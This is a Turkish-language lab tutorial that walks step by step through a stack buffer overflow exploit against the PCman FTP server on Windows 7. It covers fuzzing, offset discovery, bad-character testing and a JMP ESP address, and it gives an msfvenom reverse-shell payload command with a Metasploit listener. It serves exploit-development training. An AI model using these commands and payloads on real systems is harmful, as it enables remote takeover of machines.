Buffer Overlow Lab Ortamı
Kali linux ve Windows 7 (32bit) dağıtımları tercih edilmiştir.
Windows 7 üzerinde güvenlik duvarının kapalı olması beklenmektedir. Aşağıdaki uygulamalar kurban(Windows7) üzerinde kurulur.
Zafiyetli uygulama için https://www.exploit-db.com/exploits/38013 adresi üzerinden indirebilirsiniz.
Immunity Debugger bu adresden indirebilirsiniz. https://www.immunityinc.com/products/debugger/
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands klasörü içeresine mona.py script atmanız gereklidir.
Mona.py script bu adresden indirilebilir. https://github.com/corelan/mona
Basitçe Buffer Overflow Nedir?
char value[10];
strpy(value,’I can write many word this’);
10 karakterden oluşan value değişkenine strcpy fonksiyonu ile istediğim uzunlukda kelime yazabilirim. Burada kullanılan fonksiyonun önemi bulunmamaktadır. Yazılımcı olarak kullanıcıdan aldığınız input(giriş) değerini kontrol etmeden programa aktardığınız zaman zafiyeti doğurmuş oluyorsunuz. Aslında programcı burada input değerinin uzunluğunu hesaplasaydı 26 karakter olacaktı. Uzunluk hesaplamasından sonra if(eğer) ifadesi ile kontrol edip belleğe yazmaması beklenirdi. Kontrol giriş değerinden dolayı bellek taşması oluşmaktadır.
Buffer Overflow Terimleri Hakkında
Buffer(tampon): Verilerin geçici bir süre saklandığı ardışık bellek alanıdır. Bu alanlar stack(bellek) üzerinde sıklıkla kullanılır.
Immunity Debugger ile uygulamanın eklenmesi ve açılması
Immunity Debugger ile Uygulamayı başlatmak
Sağ alta bulunan Runnig yazısı görünüyor olmalıdır.
Immunity Debugger Uygulamayı Geri almak ve yeniden başlatmak
İşlemleri yaparken en çok bölüm işimize yarıyacaktır. Badchars tespitinde yada uygulama crash olması gibi durumda uygulamayı bu şekilde yeninden hızlı bir şekilde başlatabiliriz.
Saldırı Öncesi Hedef uygulamanın çalıştığını ve nmap ile uzaktan erişebildiğini tespit edilmesi gerekmektedir. Tekrar hatırlatıyorum, Windows üzerinde ki firewall kapalı olmalıdır. -p parametresi istenilen port üzerinde tarama yapar. Biz zaten PCman uygulamasının 21.portta çalıştığını biliyoruz.
nmap -sS -A -p 21 192.168.3.12
Buffer Overflow Uygulama Adımları
- Fuzzing
- Offset
- Badchars
- JMP ESP
- Exploit
Buffer Overflow Fuzzing Uygulaması
Bu adımda uygulamanın kaç karakter sonrasında crash ettiğini tespit edilir. Bunun için internet üzerinde bulduğum script üzerinde bir düzenleme yaparak şu şekile getirdim. Gerekli script dosyasını şu github adresinden alabilirsiniz.
Düzenlediğim script her seferinde 50 A karakterini kendi üzerine ekleyerek gönderir. https://github.com/asim06/bufferoverflowanlatimi/blob/main/fuzzing.py
python fuzzing.py
İlgili script çalıştıktan sonra 2100 pakete gelince Immunity Debugger ile açtığımız Pcman uygulaması şu hatayı bize verdi. Acces violation when executing [414141] ve uygulama Paused (sağ altta ) gözüküyor. Eğer bu şekilde sizde görünüyorsa işleminiz doğru şekilde olmuş demektir. Burada ki bir detay da EIP üzerine yazılan 414141 ifadesi bu Hexadecimal olan büyük A karakterini temsil etmektedir.
2100 tane A paketi gönderildikten sonra crash olan uygulama için kaçıncı pakette bellek taşdığını öğrenmek için Offset kavramı devreye girecektir.
Buffer Overflow Offset Bulmak
Bunun için Kali Linux üzerinde gelen aracı(tool) kullanabiliriz. Şu komutlarla 2100 tane benzersiz bir set oluşturup tekrardan hedef uygulamaya gönderilir. https://github.com/asim06/bufferoverflowanlatimi/blob/main/offset.py
Tekrar hatırlatma: İşlem öncesi uygulama geri alınmalı ve tekrar başlatılmalıdır. Runnig yazısı görülmelidir.
msf-pattern_create -l 2100
Girilen komut sonrasında bize 2100 karakterli benzersiz bir patern oluşturdu. Bu örüntü(patern) ifadesi script içeresinde ki buf alanına yazılır. Şuradaki link üzerinden offset.py scripti bulunabilir. buf değişkenine burada çıkan patern atılır.
python offset.py
şeklinde script(betik) çalıştırılır. Betik çalıştırılması sonucunda uygulama tekrar crash eder. Immunity Debugger üzerinde EIP değeri kopyalanır(43396F43). Bu değer sayesinde kaçıncı karakterde crash olduğunu bulunur.
msf-pattern_offset -q 43396F43
[*] Exact match at offset 2007 şeklinde output(çıkış/sonuç) verdi.
Şimdi bunu kontrol etmek için 2007 karakteri + 4 tane B ifadesini uygulamaya poc.py script(betiği) ile gönderilim. B ifadesinin hexadecimal 42 şeklindedir. EIP değeri üzerinde 42424242 yazması beklenmektedir.
Resimde de görüldüğü üzere EIP değerine 42424242 4 tane B yazabildik.
ShellCode Boyut Tespiti
python shellcode.py
scripti çalıştırıldığı zaman uygulama tekrar crash eder. Sağ üst kısımda bulunan Registers alanında ESP alanına sağ tıklanır ve Follow in Dump seçilir. Burada C değerinin stack başlangıç ve bitiş noktaları tespit edilir. Bitişten başlangıç noktası çıkartılarak maksimum shellcode boyutu bulunur. Bizim için burada 4096’dır. Exploit oluşturulurken 4096 byte üzeri bir uygulama oluşturursak çalışmayacaktır. Video üzerinde adım adım anlatılmıştır. https://github.com/asim06/bufferoverflowanlatimi/blob/main/shellcode.py
Badchars Tespit Etmek Buffer Overflow
Uygulama üzerinde karşılık bulmayan yada hatalı ifadeler çeviren badchars bulunmaktadır. Bunların tespiti sonrası ilgili uygulama crash etmeyecektir. Bunun için şu pattern(örüntü) ifadesine ihtiyacımız olacaktır. Bu ifadeyi buf değişkeni içeresine koyup badchars.py betiğini(script) çalıştırmamız gereklidir. Burada dikkat edilmesi gereken husus her crash sonrası bir zararlı karakter(bad chars) bulunacaktır. Çalıştırılan her script sonrasında uygulama tekrar başlatılmalıdır.
Ufak bir not \x00 karakteri her yazılım için genelde badchars olarak bilinmektedir. Bu karakteri çıkartarak da işleme başlayabilirsiniz. İlgili adresden indirilebilir. https://github.com/asim06/bufferoverflowanlatimi/blob/main/badchars.py
python badchars.py
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f”
“\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f”
“\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f”
“\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f”
“\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f”
“\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf”
“\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf”
“\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”
Şu adresden alabileceğiniz badchars.py scripti çalıştırılır. Hedef uygulamanın yapılan işlem sonucunda hata vermesi beklenmektedir.
Immunity Debugger üzerinde ESP alanına gelinir ve Follow in dump seçilir. Buradan ilk hatalı karakterimizi bulacağız.
Şimdi yaptığımız incelemede 01 02 03 04 05 06 07 08 09 herşey sıralı gidiyor fakat 00 değeri burayı bozmuş durumda. Burada 0A olması gerekiyor. Onun yerine 00 gözüküyor. Bu bizim hatalı ikinci karakterimizdir \x0a’yi script içeresinden silip tekrar script çalıştırılır.
\x0a karakterini script dosyası içeresinden çıkartıp çalıştırdık. Immunity Debugger üzerinde ESP alanına gelinir ve Follow in dump seçilir. Buradan üçüncü hatalı karakterimizi bulacağız.
Şimdi sırayı tekrar takip edelim. 01 ile 09 her şey olması gerektiği gibi 09 karakterinden sonra 0B 0C 0D olması gerekiyor ama 0D yerine 00 ifadesi gelmiş. Bu demek ki 0d ifadesi hatalı bir karakter Pcman uygulaması için.
Evet işlemlerin sonucunda tespit edilen badchars \x00 \x0a \x0d bunları badchars.py betiği(script) içeresinden çıkartıp sıra tekrar kontrol edilir. Konrol işlemi yapıldıktan sonra herşeyi olması(sıralı bir şekilde tüm karakterlerin yazıldığı) gerektiği gibi olduğu gözlemlenir.
JMP ESP
Stack üzerinde atlanacak adresi bulmak için Immunity Debugger uygulamasında View > Executable Modules User32.dll üzerine gelinir ve follow entry seçilir.
User32 modulu üzerinde herhangi bir yere sağ tıklanarak Search for > Command seçeneği seçilir.
Arama komuna jmp esp yazılır
Yapılan arama komutu sonrasında 77774E5B JMP ifadesi gelmektedir. Bu ifadeyi exploit için de kullanmak için little endian dönüşümü uygulamamız gerekmektedir.
İlgili dönüşüm şu şekilde yapılır. Sağdan sola gelecek şekilde tekrar yazılır. \x5b\x4e\x77\x77 şeklinde yazılır.
jmpEsp = \x5b\x4e\x77\x77
Buffer Overflow Exploit İşlemi
Hedef sistemimiz 32 bit Windows olduğu için payload türünü 32 bit seçiyoruz. Msfvenom ile payload oluşturacağız.
Burada ki 2 parametre değeri önemlidir. LHOST alanına Kali linux ip adresini ve LPORT alanına dinlemek istediğiniz port numarasını yazmanız gereklidir. Eğer dinlemek istediğiniz port üzerinde başka bir servis çalışıyor ise çakışabilir ve size reverse oturum gelmeyecektir.
-b parametresi badchars için kullanılmıştır.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.10 LPORT=8080 -b ‘\x00\x0a\x0d’ -f py
Bize verilen sonuç kopyalanır ve exploit.py içeresine atılır.
Reverse olarak sağlanacak bağlantıyı dinlemek için
msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
exploit diyerek ilgili bağlantı dinlemeye geçilir.
Şimdi Oluşturduğumuz exploit.py dosyasını çalıştırıp reverse shell(ters oturum) alınmasını sağlayacağız. Exploit sonrasında ilgili ters bağlantı meterpretere geldi. İşlem başarılı bir şekilde tamamlanmıştır. Adresi üzerinden exploit.py indirilebilir.
https://github.com/asim06/bufferoverflowanlatimi/blob/main/exploit.py
Adım Adım Buffer Overflow Atağı Özet
Kullanıcı Hafıza Alanı | EIP | ESP |
AAAAAAAAAAAAAAAAAAAAAAAAAA |
Normalde yazılımcı tarafında uzunluğu kontrol edilmiş bir input(giriş) değeri bu şekilde hafıza üzerinde yer alıcaktı. Yazılımcı tarafından kontrol edilmediğinden şu şekile dönüştü,
Kullanıcı Hafıza Alanı | EIP | ESP |
AAAAAAAAAAAAAAAAAAAAAAAAA | BBBB | CCCCCCCCCCCCCCCCCCCCCCCCCCCC |
Bunun sonucunda saldırgan olarak diğer alanlara yazabildiğimizi fark ettik. Diğer alanlara yazabilmek için bazı kurallara uymamız gerekiyordu. Bunun için şunları sağladık.
- Benzersiz karakterler göndererek kullanıcı Hafıza alanını belirledik.
- Kullanıcı hafıza alanın belirlenmesinden sonra EIP alanına yazabildiğimizi tespit ettik.[42]
- Hatalı karakterlerin tespitini gerçekleştirdik.
- Uygulama için jmp esp değerini öğrendik.
- Oluşturulucak shell code için maksimum yazabileceğimiz boyutu belirledik.
EIP: alanına jmp esm komutu yazıp(asembly dilinde) ESP alanına atladık.
ESP üzerine geçebildiğimiz içinde oluşturduğumuz shellcode çalıştırabildik.
Bu tespitlerimiz sonucunda msfvenom ile exploit oluşturup ters(reverse) bağlantıyı sağladık.
Kaynaklar:
https://github.com/V1n1v131r4/OSCP-Buffer-Overflow
https://thelistsec.com/2020/06/23/oscp-like-buffer-overflow-walkthrough/